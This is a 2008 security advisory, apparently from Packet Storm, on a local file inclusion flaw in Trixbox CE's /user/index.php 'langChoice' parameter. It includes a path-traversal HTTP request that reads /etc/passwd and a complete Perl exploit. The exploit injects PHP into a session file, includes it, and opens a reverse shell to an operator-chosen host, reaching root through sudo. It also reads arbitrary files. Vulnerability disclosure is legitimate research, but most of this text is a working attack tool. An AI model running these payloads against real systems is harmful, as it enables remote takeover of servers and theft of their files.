trixbox-lfi.txt

2008-07-10T00:00:00
ID PACKETSTORM:68077
Type packetstorm
Reporter Jean-Michel BESNARD
Modified 2008-07-10T00:00:00

Description

                                        
                                            `I have discovered a file inclusion in Trixbox that may be exploited to  
run arbitrary code and eventually obtain a root shell.  
  
The vendor (Fonality) has been noticed about this issue. They have  
fixed it and shall release a patch this week. I have already posted an  
exploit (giving a shell with uid=asterisk) on www.milw0rm.com and at  
securityfocus (BID=30135) but since I have figured out afterwards that  
it was also possible to obtain a root shell, those exploits should be  
updated:  
  
  
Please find hereafter the advisory and the updated exploit:  
  
ADVISORY:  
  
Vulnerability Found: 7th July 2008  
  
Vendor informed: 7th July 2008  
  
Severity: Critical  
  
BID: 30135  
  
Successfully tested on: Trixbox CE 2.6.1 and below  
  
Description:  
  
A local file inclusion vulnerability affects Trixbox CE, an  
Asterisk-based PBX Phone system. This issue is due to a failure of the  
application to properly sanitize POST data assigned to a parameter of  
the /user/index.php page.  
  
An attacker may leverage this issue to read local files, execute PHP  
scripts and eventually obtain a root shell.  
  
Vulnerable server-side program: '/user/index.php'  
  
Vulnerable parameter: 'langChoice'  
  
Proof of concept:  
  
COMPLETE HTTP REQUEST:  
  
POST /user/index.php HTTP/1.1  
Host: 192.168.1.107  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 39  
  
langChoice=../../../../../etc/passwd%00  
  
COMPLETE HTTP RESPONSE:  
  
HTTP/1.1 200 OK  
Date: Tue, 08 Jul 2008 13:25:00 GMT  
Server: Apache/2.2.3 (CentOS)  
X-Powered-By: PHP/5.2.2  
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Connection: close  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
1f4a  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
news:x:9:13:news:/etc/news:  
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin  
operator:x:11:0:operator:/root:/sbin/nologin  
games:x:12:100:games:/usr/games:/sbin/nologin  
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin  
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin  
nobody:x:99:99:Nobody:/:/sbin/nologin  
[...]  
  
Consequences:  
  
A remote root shell can be obtained on the affected server.  
  
Fix:  
  
Fonality has stated that they have submitted a fix into SVN and it  
will be part of the next update that will go out this week.  
  
Credits:  
  
Jean-Michel BESNARD of LEXSI Audit.  
  
  
  
EXPLOIT  
#!/usr/bin/perl -w  
  
# Jean-Michel BESNARD <jmbesnard@gmail.com> / LEXSI Audit  
# 2008-07-09  
# This is an update of the previous exploit. We can now get a root  
shell, thanks to sudo.  
#  
# perl trixbox_fi_v2.pl 192.168.1.212  
# Please listen carefully as our menu option has changed  
# Choose from the following options:  
# 1> Remote TCP shell  
# 2> Read local file  
# 1  
# Host and port the reverse shell should connect to ? (<host>:<port>):  
192.168.1.132:4444  
# Which uid would you like for your shell ? (uid=root will be OK on  
most recent trixbox versions only): [root|asterisk]  
# root  
# Make sure you've opened a server socket on port 4444 at  
192.168.1.132 (e.g, nc -l -p 4444)  
# Press enter to continue...  
# done...  
  
# nc -l -v -p 4444  
# listening on [any] 4444 ...  
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397  
# bash: no job control in this shell  
# bash-3.1# id  
# uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
# bash-3.1#  
  
  
use strict;  
use Switch;  
use LWP::UserAgent;  
use HTTP::Cookies;  
  
usage() unless @ARGV;  
my $url = "http://$ARGV[0]/user/index.php";  
my $ua = LWP::UserAgent->new;  
my $cookie_jar = HTTP::Cookies->new;  
$ua->cookie_jar($cookie_jar);  
  
menu();  
  
sub execScript{  
my $scriptCode = shift;  
post($scriptCode);  
my $phpsessionid = extractPHPSID($cookie_jar->as_string);  
post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid%00");  
}  
  
sub post{  
my $postData = shift;  
my $req = HTTP::Request->new(POST => $url);  
$req->content_type('application/x-www-form-urlencoded');  
$req->content($postData);  
my $res = $ua->request($req);  
my $content = $res->content;  
return $content;  
}  
  
sub readFile{  
my $file = shift;  
my $content = post("langChoice=../../../../../../../../../..$file%00");  
my @fileLines = split(/\n/,$content);  
my $fileContent = "Content of $file: \n\n";  
for(my $i=3;$i<@fileLines;$i++){  
last if($fileLines[$i] =~ m/trixbox - User Mode/);  
$fileContent = $fileContent . $fileLines[$i-3] . "\n";  
}  
return $fileContent;  
}  
  
sub tcp_reverse_shell{  
my $rhost= shift;  
my $rport = shift;  
my $uid = shift;  
my $rshell;  
if($uid eq "asterisk"){  
$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e  
'\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,  
getprotobyname('tcp'));connect(S,  
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,  
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"}  
(\"JMB\", \"-i\"));'`;?>%00";  
  
}else{  
$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e  
'\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,  
getprotobyname('tcp'));connect(S,  
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,  
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\",  
(\"-i\"));'`;?>%00";  
}  
execScript($rshell);  
}  
  
  
sub extractPHPSID{  
$_ = shift;  
if(/PHPSESSID=(\w+)/){  
return $1;  
}  
}  
  
sub menu{  
print <<EOF;  
Please listen carefully as our menu option has changed  
Choose from the following options:  
1> Remote TCP shell  
2> Read local file  
EOF  
my $option = <STDIN>;  
chop($option);  
switch($option){  
case 1 {  
print "Host and port the reverse shell should connect to ? ";  
print "(<host>:<port>): ";  
my $hp=<STDIN>;  
chop($hp);  
print "Which uid would you like for your shell ? (uid=root will  
be OK on most recent trixbox versions only): [root|asterisk]";  
my $uid=<STDIN>;  
chop($uid);  
my($rhost,$rport) = split(/:/,$hp);  
print "Make sure you've opened a server socket on port $rport at  
$rhost (e.g, nc -l -p $rport)\n";  
print "Press enter to continue...";  
<STDIN>;  
tcp_reverse_shell($rhost,$rport,$uid);  
print "done...\n";  
}  
case 2 {  
while(1){  
print "Full path (e.g. /etc/passwd): ";  
my $file = <STDIN>;  
chop($file);  
print readFile($file) . "\n\n";  
}  
}  
}  
}  
  
sub usage{  
print "./trixbox_fi.pl <host>\n";  
exit 1;  
}  
  
`